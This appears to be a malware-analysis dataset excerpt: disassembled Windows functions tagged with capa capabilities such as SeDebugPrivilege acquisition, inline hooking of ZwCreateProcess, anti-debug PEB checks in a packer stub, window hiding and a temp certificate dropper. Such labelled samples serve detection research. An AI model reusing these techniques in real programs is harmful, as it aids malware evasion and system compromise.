joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401040
Capabilities:
Acquire debug privileges

Disassembly:
sub esp, 0x14
mov eax, dword [esp + 0x1c]
mov dword [esp], 0
test eax, eax
mov dword [esp + 4], 1
mov dword [esp + 0x10], 0
je 0x40106b
mov dword [esp + 0x10], 2
lea eax, [esp + 8]
push esi
push eax
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x4010da
mov ecx, dword [esp + 0x1c]
push ecx
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x4010da
lea edx, [esp + 4]
push edi
push edx
push 0x28
push esi
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x4010d6
mov ecx, dword [esp + 8]
push 0
push 0
lea eax, [esp + 0x14]
push 0
push eax
push 0
push ecx
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x4010d6
mov edx, dword [esp + 8]
push edx
call edi
push esi
call edi
pop edi
pop esi
add esp, 0x14
ret

Function at 0x4010e0
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x22c
push ebx
push esi
push edi
xor eax, eax
mov ecx, 0x49
lea edi, [esp + 0x10]
mov dword [esp + 0xc], 0x128
push eax
rep stosd dword es:[edi], eax
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebx, eax
lea eax, [esp + 0xc]
push eax
push ebx
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x40115c
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
lea ecx, [esp + 0x30]
lea edx, [esp + 0x134]
push ecx
push 0x4160d4
push edx
call esi
add esp, 0xc
lea eax, [esp + 0x134]
push str.EXPLORER.EXE
push eax
call edi
test eax, eax
je 0x40116f
lea ecx, [esp + 0xc]
push ecx
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x401123
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x22c
ret
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebx
add esp, 0x22c
ret

Function at 0x4011c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ecx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push edi
push str.ZwCreateProcess
push str.ntdll.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.ZwCreateProcessEx
push str.ntdll.dll
mov dword [0x4190ec], eax
call esi
push eax
call edi
mov ecx, dword [0x4190ec]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
test ecx, ecx
mov dword [0x4190e8], eax
je 0x40123a
mov eax, dword [ecx + 1]
lea edx, [esp + 8]
push edx
push 0x40
push 5
push ecx
mov dword [0x4190e4], eax
call esi
mov eax, dword [0x4190ec]
mov ecx, 0x401180
mov byte [eax], 0xe9
mov eax, dword [0x4190ec]
sub ecx, eax
sub ecx, 5
mov dword [eax + 1], ecx
mov eax, dword [0x4190e8]
test eax, eax
je 0x40126e
mov edx, dword [eax + 1]
lea ecx, [esp + 8]
push ecx
push 0x40
push 5
push eax
mov dword [0x4190e0], edx
call esi
mov edx, dword [0x4190e8]
mov ecx, 0x4011a0
mov byte [edx], 0xe9
mov eax, dword [0x4190e8]
sub ecx, eax
sub ecx, 5
mov dword [eax + 1], ecx
pop edi
pop esi
pop ecx
ret
Function at 0x40ecb3
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x40ece1
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x40ecff
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0040ec19
jmp 0x40ecff
mov eax, dword [esi + 0x14]
test eax, eax
je 0x40ecff
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0040ec19
test edi, edi
mov eax, edi
jne 0x40ece9
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x10023e70
Capabilities:
Access peb ldr_data
Check for peb beingdebugged flag
Packed with generic packer

Disassembly:
xor edi, edi
je 0x10023e7a
popal
jmp 0x40528bc4
mov edx, 0x4c
cmp byte [esp + 8], 1
jne 0x10024068
pushal
mov esi, section..rdata
xor edi, edi
je 0x10023e9a
popal
jmp 0x40528be4
lea edi, [esi - 0xe000]
xor ecx, ecx
je 0x10023eaa
popal
jmp 0x40528bf4
mov eax, 0x7d
cmp edx, eax
mov eax, 0x4c
not eax
jne 0x10023ef9
mov eax, dword fs:[0x30]
test eax, eax
js 0x10023ee7
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov dword [eax + 0x20], 0x1000
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
movzx eax, byte [eax + 2]
test eax, eax
jne 0x10023ef8
jmp 0x10023ef9
xor eax, eax
mov al, byte fs:[0x20]
test eax, eax
jne 0x10023ef8
jmp 0x10023ef9
popal
push edi
or ebp, 0xffffffff
jmp 0x10023f0a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x10023f11
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x10023f00
mov eax, 1
add ebx, ebx
jne 0x10023f23
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x10023f18
jne 0x10023f34
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x10023f18
xor ecx, ecx
sub eax, 3
jb 0x10023f48
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x10023fba
mov ebp, eax
add ebx, ebx
jne 0x10023f53
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x10023f60
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x10023f84
inc ecx
add ebx, ebx
jne 0x10023f70
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x10023f65
jne 0x10023f81
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x10023f65
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x10023fa4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x10023f95
jmp 0x10023f06
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x10023fa4
add edi, ecx
jmp 0x10023f06
pop esi
mov edi, esi
mov ecx, 0x15f
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x10023fc2
cmp byte [edi], 1
jne 0x10023fc2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x10023fc7
lea edi, [esi + 0x21000]
mov eax, dword [edi]
or eax, eax
je 0x10024036
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x24000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x24028]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x10023ff4
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x2402c]
or eax, eax
je 0x10024030
mov dword [ebx], eax
add ebx, 4
jmp 0x10024011
popal
xor eax, eax
ret 0xc
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x10024067
cmp al, 0xef
ja 0x1002405a
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x1002403c
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x10024049
popal
jmp fcn.10003978
Function at 0x40101b
Capabilities:
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x84]
sub esp, 0x104
mov eax, dword [0x4223b0]
push esi
push edi
mov esi, ecx
mov dword [ebp + 0x80], eax
push 0x3f
xor eax, eax
cmp dword [esi], 0
mov byte [ebp - 0x80], 0
pop ecx
lea edi, [ebp - 0x7f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
jne 0x4010ed
push dword [ebp + 0x8c]
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call edi
test eax, eax
mov dword [esi], eax
jne 0x4010b9
push 0xff
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
jbe 0x40109c
lea eax, [ebp - 0x80]
push eax
call fcn.0040f2f0
cmp byte [ebp + eax - 0x81], 0x5c
pop ecx
je 0x40109c
lea eax, [ebp - 0x80]
push 0x41b3bc
push eax
call fcn.0040f200
pop ecx
pop ecx
push dword [ebp + 0x8c]
lea eax, [ebp - 0x80]
push eax
call fcn.0040f200
pop ecx
pop ecx
lea eax, [ebp - 0x80]
push eax
call edi
test eax, eax
mov dword [esi], eax
je 0x4010e2
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebx
push str.MSUK_GetCommonFunctionList
push dword [esi]
call edi
lea ebx, [esi + 4]
push ebx
call eax
cmp dword [ebx], 0
pop ebx
je 0x4010e2
push str.MSUK_GetAlgFunctionList
push dword [esi]
call edi
test eax, eax
jne 0x4010e6
xor eax, eax
jmp 0x4010f0
add esi, 8
push esi
call eax
pop ecx
xor eax, eax
inc eax
mov ecx, dword [ebp + 0x80]
pop edi
pop esi
call fcn.0040f3ac
add ebp, 0x84
leave
ret 4
Function at 0x40110b
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
lea ebp, [esp - 0x3bc]
sub esp, 0x43c
mov eax, dword [0x4223b0]
push ebx
push edi
push str.Crypt32.dll
mov dword [ebp + 0x3b8], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, eax
xor edi, edi
cmp ebx, edi
mov dword [ebp - 0x54], ebx
jne 0x401143
xor eax, eax
jmp 0x4012da
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x41b43c
push ebx
call esi
push 0x41b424
push ebx
mov dword [ebp - 0x58], eax
call esi
push 0x41b408
push dword [ebp - 0x54]
mov ebx, eax
call esi
push 0x41b3e8
push dword [ebp - 0x54]
mov dword [ebp - 0x50], eax
call esi
push str.CertAddCertificateContextToStore
push dword [ebp - 0x54]
mov dword [ebp - 0x4c], eax
call esi
cmp dword [ebp - 0x58], edi
mov dword [ebp - 0x60], eax
je 0x4012ce
cmp ebx, edi
je 0x4012ce
cmp dword [ebp - 0x50], edi
je 0x4012ce
cmp dword [ebp - 0x4c], edi
je 0x4012ce
cmp eax, edi
je 0x4012ce
push 0x41b3c0
push edi
call ebx
cmp eax, edi
mov dword [ebp - 0x5c], eax
je 0x4012ce
push dword [ebp + 0x3c8]
push dword [ebp + 0x3c4]
push 0x10001
call dword [ebp - 0x4c]
cmp eax, edi
mov dword [ebp - 0x64], eax
jne 0x4011e8
push edi
call dword [ebp - 0x50]
jmp 0x4012ce
push dword [ebp + 0x3d0]
call fcn.0040f2f0
mov esi, eax
mov dword [esp], 0x200
lea eax, [ebp - 0x48]
push edi
push eax
call fcn.0040f3c0
add esp, 0xc
mov ebx, 0x100
push ebx
lea eax, [ebp - 0x48]
push eax
push esi
push dword [ebp + 0x3d0]
mov esi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 1
push edi
call esi
push dword [ebp + 0x3d4]
call fcn.0040f2f0
mov dword [ebp - 0x4c], eax
mov dword [esp], 0x200
lea eax, [ebp + 0x1b8]
push edi
push eax
call fcn.0040f3c0
add esp, 0xc
push ebx
lea eax, [ebp + 0x1b8]
push eax
push dword [ebp - 0x4c]
xor ebx, ebx
push dword [ebp + 0x3d4]
inc ebx
push ebx
push edi
call esi
push 0x1c
lea eax, [ebp - 0x80]
push edi
push eax
call fcn.0040f3c0
mov esi, dword [ebp - 0x64]
lea eax, [ebp - 0x48]
mov dword [ebp - 0x80], eax
lea eax, [ebp + 0x1b8]
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp + 0x3cc]
add esp, 0xc
mov dword [ebp - 0x68], eax
lea eax, [ebp - 0x80]
push eax
push edi
push 2
push esi
mov dword [ebp - 0x78], ebx
mov dword [ebp - 0x74], edi
mov dword [ebp - 0x70], edi
mov dword [ebp - 0x6c], edi
call dword [sym.imp.CRYPT32.dll_CertSetCertificateContextProperty]
test eax, eax
jne 0x4012b7
push esi
call dword [ebp - 0x50]
push edi
push dword [ebp - 0x5c]
call dword [ebp - 0x58]
jmp 0x4012ce
push edi
push 3
push esi
push dword [ebp - 0x5c]
call dword [ebp - 0x60]
push esi
call dword [ebp - 0x50]
push edi
push dword [ebp - 0x5c]
call dword [ebp - 0x58]
mov edi, ebx
push dword [ebp - 0x54]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, edi
pop esi
mov ecx, dword [ebp + 0x3b8]
pop edi
pop ebx
call fcn.0040f3ac
add ebp, 0x3bc
leave
ret
Function at 0x401635
Capabilities:
Hide graphical window

Disassembly:
push ebp
lea ebp, [esp - 0x5cc]
sub esp, 0x64c
mov eax, dword [0x4223b0]
push ebx
push esi
push edi
mov dword [ebp + 0x5c8], eax
push 0xf
xor eax, eax
pop ecx
push dword [0x42eecc]
mov esi, dword [0x423280]
push dword [0x42eec8]
mov byte [ebp + 0x588], 0
lea edi, [ebp + 0x589]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
mov byte [ebp + 0x288], 0
mov ecx, 0xbf
lea edi, [ebp + 0x289]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp + 0x588]
push 0x43d80c
push eax
mov dword [ebp - 0x7c], esi
call fcn.0040f420
add esp, 0x10
lea eax, [ebp + 0x588]
push eax
push 0xffff
push esi
call dword [sym.imp.USER32.dll_SetDlgItemTextA]
push 0x300
lea eax, [ebp + 0x288]
push 0
push eax
call fcn.0040f3c0
lea eax, [ebp + 0x288]
push 0x43e86c
push eax
call fcn.0040f200
mov esi, dword [ebp + 0x5dc]
imul esi, esi, 0x3ec
add esi, 0x423288
add esp, 0x14
cmp dword [esi + 0x3c0], 2
lea eax, [esi + 0x3c4]
mov dword [ebp - 0x80], eax
jne 0x40170f
push 0x43d9cc
jmp 0x401714
push 0x43da0c
push eax
call fcn.0040f1f0
pop ecx
pop ecx
lea edi, [esi + 0x2c0]
push edi
lea ebx, [esi + 0x340]
push ebx
lea eax, [esi + 0x100]
push eax
push esi
lea ecx, [esi + 0x220]
push ecx
lea edx, [esi + 0x200]
push edx
push 0
push dword [esi + 0x3e8]
push dword [esi + 0x3e4]
call fcn.0040135f
lea eax, [esi + 0x220]
push eax
lea eax, [esi + 0x200]
push eax
lea eax, [esi + 0x100]
push eax
push esi
push dword [ebp - 0x80]
lea eax, [ebp + 0x288]
push edi
push ebx
push eax
lea eax, [ebp - 0x78]
push eax
call fcn.0040f420
mov esi, dword [sym.imp.USER32.dll_GetDlgItem]
add esp, 0x48
lea eax, [ebp - 0x78]
push eax
push 0x3f5
push dword [ebp - 0x7c]
call esi
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
push 5
push 0x3f1
push dword [ebp - 0x7c]
call esi
mov edi, dword [sym.imp.USER32.dll_ShowWindow]
push eax
call edi
push 0
push 0x482
push dword [ebp - 0x7c]
call esi
mov ebx, dword [sym.imp.USER32.dll_EnableWindow]
push eax
call ebx
push 0
push 0x484
push dword [ebp - 0x7c]
call esi
push eax
call ebx
cmp dword [ebp + 0x5d8], 1
ja 0x4017fe
push 0
push 0x482
push dword [ebp - 0x7c]
call esi
push eax
call edi
push 0
push 0x484
push dword [ebp - 0x7c]
call esi
push eax
call edi
jmp 0x401852
push 5
push 0x482
push dword [ebp - 0x7c]
call esi
push eax
call edi
push 5
push 0x484
push dword [ebp - 0x7c]
call esi
push eax
call edi
cmp dword [ebp + 0x5dc], 0
jbe 0x401834
push 1
push 0x482
push dword [ebp - 0x7c]
call esi
push eax
call ebx
mov eax, dword [ebp + 0x5d8]
dec eax
cmp dword [ebp + 0x5dc], eax
jae 0x401852
push 1
push 0x484
push dword [ebp - 0x7c]
call esi
push eax
call ebx
mov ecx, dword [ebp + 0x5c8]
pop edi
pop esi
pop ebx
call fcn.0040f3ac
add ebp, 0x5cc
leave
ret
Function at 0x401c21
Capabilities:
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x16c
mov eax, dword [0x4223b0]
mov dword [ebp - 4], eax
mov eax, dword [0x42eecc]
dec eax
push esi
push edi
js 0x401d59
imul eax, eax, 0x3ec
add eax, 0x423288
mov esi, eax
je 0x401d59
lea eax, [ebp - 0x16c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x16c]
push eax
call fcn.0040f2f0
cmp byte [ebp + eax - 0x16d], 0x5c
pop ecx
je 0x401c89
lea eax, [ebp - 0x16c]
push eax
call fcn.0040f2f0
pop ecx
lea eax, [ebp - 0x16c]
push str.lkj_evwrlkj123oiu83.cer
push eax
call fcn.0040f200
pop ecx
pop ecx
push 0x17
pop ecx
push dword [esi + 0x3e8]
mov byte [ebp - 0x64], 0
push dword [esi + 0x3e4]
xor eax, eax
lea edi, [ebp - 0x63]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 1
stosb byte es:[edi], al
call dword [sym.imp.CRYPT32.dll_CertCreateCertificateContext]
mov esi, eax
test esi, esi
je 0x401d6b
lea eax, [ebp - 0x16c]
push 0x41b4c8
push eax
call fcn.0040fbd8
mov edi, eax
push edi
push 1
push dword [esi + 8]
push dword [esi + 4]
call fcn.0040fb30
push edi
call fcn.0040f9d0
push edi
call fcn.0040f81f
add esp, 0x20
push esi
call dword [sym.imp.CRYPT32.dll_CertFreeCertificateContext]
lea eax, [ebp - 0x64]
push str.cryptext.dll_CryptExtOpenCER
push eax
call fcn.0040f1f0
lea eax, [ebp - 0x16c]
push eax
lea eax, [ebp - 0x64]
push eax
call fcn.0040f200
push 0
lea eax, [ebp - 0x64]
push eax
push 0x41b4a4
push 0x41b4a0
push str.rundll32.exe
push 1
call fcn.0040f7bd
add esp, 0x28
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x16c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x401d6b
push 0xffffffffffffffff
push 0x43da4c
push dword [ebp + 8]
call fcn.00403064
add esp, 0xc
mov ecx, dword [ebp - 4]
pop edi
pop esi
call fcn.0040f3ac
leave
ret
Function at 0x40371b
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x70
mov eax, dword [0x4223b0]
push ebx
push esi
push edi
mov esi, dword [sym.imp.USER32.dll_GetDlgItem]
push 0x17
mov dword [ebp - 4], eax
xor edx, edx
pop ecx
xor eax, eax
mov byte [ebp - 0x64], dl
lea edi, [ebp - 0x63]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x60
stosb byte es:[edi], al
lea eax, [ebp - 0x64]
push eax
push 0x460
push dword [ebp + 8]
mov dword [ebp - 0x68], edx
mov dword [ebp - 0x6c], edx
mov dword [ebp - 0x70], edx
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov edi, 0x43f298
mov ecx, edi
call fcn.0040203d
mov ebx, eax
lea eax, [ebp - 0x64]
push eax
call fcn.0040f2f0
cmp eax, ebx
pop ecx
jb 0x40379e
mov ecx, edi
call fcn.00402040
mov ebx, eax
lea eax, [ebp - 0x64]
push eax
call fcn.0040f2f0
cmp eax, ebx
pop ecx
ja 0x40379e
mov dword [ebp - 0x68], 1
push 0x60
lea eax, [ebp - 0x64]
push eax
push 0x462
push dword [ebp + 8]
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, edi
call fcn.0040203d
mov ebx, eax
lea eax, [ebp - 0x64]
push eax
call fcn.0040f2f0
cmp eax, ebx
pop ecx
jb 0x4037ea
mov ecx, edi
call fcn.00402040
mov ebx, eax
lea eax, [ebp - 0x64]
push eax
call fcn.0040f2f0
cmp eax, ebx
pop ecx
ja 0x4037ea
mov dword [ebp - 0x6c], 1
push 0x60
lea eax, [ebp - 0x64]
push eax
push 0x464
push dword [ebp + 8]
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, edi
call fcn.0040203d
mov ebx, eax
lea eax, [ebp - 0x64]
push eax
call fcn.0040f2f0
cmp eax, ebx
pop ecx
jb 0x403834
mov ecx, edi
call fcn.00402040
mov edi, eax
lea eax, [ebp - 0x64]
push eax
call fcn.0040f2f0
cmp eax, edi
pop ecx
ja 0x403834
xor eax, eax
inc eax
jmp 0x403837
mov eax, dword [ebp - 0x70]
and eax, dword [ebp - 0x6c]
and eax, dword [ebp - 0x68]
push eax
push 1
push dword [ebp + 8]
call esi
push eax
call dword [sym.imp.USER32.dll_EnableWindow]
call fcn.00407c4a
mov ecx, dword [ebp - 4]
pop edi
pop esi
pop ebx
call fcn.0040f3ac
leave
ret
Function at 0x4045c9
Capabilities:
Hide graphical window

Disassembly:
push ecx
mov eax, dword [0x4223b0]
push ebx
push ebp
push esi
mov esi, dword [sym.imp.USER32.dll_SetDlgItemTextA]
push edi
mov edi, dword [esp + 0x18]
push 0x43d42c
push 0x3f0
push edi
mov dword [esp + 0x1c], eax
call esi
push 0x43d46c
push 0x3ee
push edi
call esi
push 0x43d54c
push 0x474
push edi
call esi
push 0x43d5cc
push 0x475
push edi
call esi
push 0x43d58c
push 0x476
push edi
call esi
push 0x43d60c
push 0x477
push edi
call esi
push 0x43e4cc
push 0x479
push edi
call esi
mov ecx, 0x43f298
call fcn.00402048
push eax
push 0x432
push edi
call esi
push 0x43e20c
push 0x3e8
push edi
call esi
push 0x43e10c
push 0x3ec
push edi
call esi
push 0x43dc6c
push 0x3ef
push edi
call esi
push 0x43dbec
push 0x3ed
push edi
call esi
push 0x43e74c
push 0x3eb
push edi
call esi
push 0x43d70c
push 0x467
push edi
call esi
push 0x43e18c
mov ebx, 0x3fd
push ebx
push edi
call esi
push 0x43e1cc
push 0x42b
push edi
call esi
push 0x43e24c
push 0x3fc
push edi
call esi
push 0x43e14c
mov ebp, 0x3fa
push ebp
push edi
call esi
push 0x43e26c
push 0x447
push edi
call esi
mov ecx, 0x43f298
call fcn.00402057
push eax
push 0x472
push edi
call esi
push 0x43e3cc
push 0x448
push edi
call esi
push 0x43ebec
push 0x3ff
push edi
call esi
mov esi, dword [sym.imp.USER32.dll_GetDlgItem]
push 0
push ebx
push edi
call esi
mov ebx, dword [sym.imp.USER32.dll_ShowWindow]
push eax
call ebx
push 0
push 0x42b
push edi
call esi
push eax
call ebx
push 0
push 0x3e8
push edi
call esi
push eax
call ebx
push 0
push 0x3fc
push edi
call esi
push eax
call ebx
push 0
push ebp
push edi
call esi
push eax
call ebx
push 0
push 0x3ff
push edi
call esi
push eax
call ebx
push 0x43e04c
push edi
call dword [sym.imp.USER32.dll_SetWindowTextA]
push 5
push 0x3e8
push edi
call esi
push eax
call ebx
push 5
push 0x3fc
push edi
call esi
push eax
call ebx
push 5
push ebp
push edi
call esi
push eax
call ebx
pop edi
mov ecx, dword [esp + 0xc]
pop esi
pop ebp
pop ebx
add esp, 4
jmp fcn.0040f3ac

Function at 0x404ff4
Capabilities:
Hide graphical window

Disassembly:
push ebx
push ebp
push esi
push edi
push dword [0x43b99c]
mov edi, dword [esp + 0x18]
push edi
mov dword [0x43b990], edi
call dword [sym.imp.USER32.dll_SetWindowTextA]
push dword [0x43b998]
mov esi, dword [sym.imp.USER32.dll_SetDlgItemTextA]
push 0x3fb
push edi
call esi
push 0x43d6cc
push 1
push edi
call esi
mov esi, dword [sym.imp.USER32.dll_GetDlgItem]
push 0
push 1
push edi
call esi
mov ebx, dword [sym.imp.USER32.dll_ShowWindow]
push eax
call ebx
push 0
mov ebp, 0x42d
push ebp
push edi
call esi
push eax
call ebx
push 0
push 0x42e
push edi
call esi
push eax
call ebx
mov eax, dword [0x43b9a0]
test eax, eax
jne 0x405075
push 5
push 1
push edi
call esi
push eax
call ebx
push 1
jmp 0x405091
cmp eax, 4
jne 0x40509b
push 5
push ebp
push edi
call esi
push eax
call ebx
push 5
push 0x42e
push edi
call esi
push eax
call ebx
push ebp
push edi
call esi
push eax
call dword [sym.imp.USER32.dll_SetFocus]
pop edi
pop esi
xor eax, eax
pop ebp
inc eax
pop ebx
ret
Function at 0x40555c
Capabilities:
Create process on windows
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push esi
mov esi, dword [ebp + 0xc]
lea esi, [esi*4 + 0x43b9ac]
mov eax, dword [esi]
push edi
xor edi, edi
cmp eax, edi
mov dword [0x43b9a8], eax
je 0x4055e0
push str.GetProcessId
push str.kernel32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, edi
je 0x4055ba
push dword [0x43b9a8]
call eax
push eax
push 0x405427
mov dword [0x43b9b4], edi
call dword [sym.imp.USER32.dll_EnumWindows]
cmp dword [0x43b9b4], edi
jne 0x4055e0
jmp 0x4055da
lea eax, [ebp + 0xc]
push eax
push dword [0x43b9a8]
mov dword [ebp + 0xc], edi
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
test eax, eax
je 0x4055e0
cmp dword [ebp + 0xc], 0x103
je 0x4055e0
mov dword [0x43b9a8], edi
call fcn.00405260
test eax, eax
je 0x405670
cmp dword [0x43b9a8], edi
jne 0x405646
push 0x3c
lea eax, [ebp - 0x3c]
push edi
push eax
call fcn.0040f3c0
mov eax, dword [ebp + 8]
mov dword [ebp - 0x28], eax
add esp, 0xc
lea eax, [ebp - 0x3c]
push eax
mov dword [ebp - 0x3c], 0x3c
mov dword [ebp - 0x38], 0x440
mov dword [ebp - 0x2c], str.IEXPLORE.EXE
mov dword [ebp - 0x20], 5
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
mov eax, dword [ebp - 4]
mov dword [0x43b9a8], eax
mov dword [esi], eax
mov dword [0x43b9c0], 1
jmp 0x40564c
mov dword [0x43b9c0], edi
push 0x4054c6
push 0x1f4
push 7
push dword [0x43bb10]
mov dword [0x43b9bc], edi
mov dword [0x43b9b4], edi
call dword [sym.imp.USER32.dll_SetTimer]
pop edi
pop esi
leave
ret